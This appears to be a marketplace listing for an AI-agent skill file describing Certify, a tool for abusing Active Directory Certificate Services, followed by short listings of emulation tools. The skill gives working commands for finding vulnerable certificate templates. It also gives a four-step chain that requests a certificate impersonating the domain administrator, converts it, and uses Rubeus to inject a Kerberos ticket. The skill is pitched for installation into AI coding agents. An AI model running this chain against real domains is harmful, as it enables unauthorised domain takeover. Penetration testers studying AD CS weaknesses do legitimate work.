offensive-tools/windows/certify/SKILL.md
Certify (GhostPack): AD Certificate Services enumeration and abuse tool for detecting ESC1-ESC8 template misconfigurations. Use when auditing AD CS, escalating privileges by requesting certs for alternate UPNs, or mapping ADCS attack surface before exploitation.
npx skillsauth add aeondave/malskill certifyInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
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AD CS misconfiguration enumeration and exploitation.
Certify.exe find /vulnerable
Certify.exe find
Certify.exe request /ca:CA-SERVER\CA-NAME /template:VulnerableTemplate /altname:administrator
| Command | Purpose |
|---------|---------|
| find | Enumerate all cert templates |
| find /vulnerable | Show ESC1-ESC8 misconfigs |
| find /enrolleeSuppliesSubject | ESC1 candidates |
| request /ca: /template: | Request a certificate |
| request /altname:<user> | ESC1 — request with alternate UPN |
| download /ca: /id:<n> | Download pending certificate |
1. Certify.exe find /vulnerable
2. Certify.exe request /ca:CA\CA-NAME /template:Template /altname:domain\administrator
3. openssl pkcs12 -in cert.pem -keyex -export -out cert.pfx
4. Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:pass /ptt
| File | When to load |
|------|--------------|
| references/ | ESC2-ESC8 exploitation, certipy cross-platform alternative |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.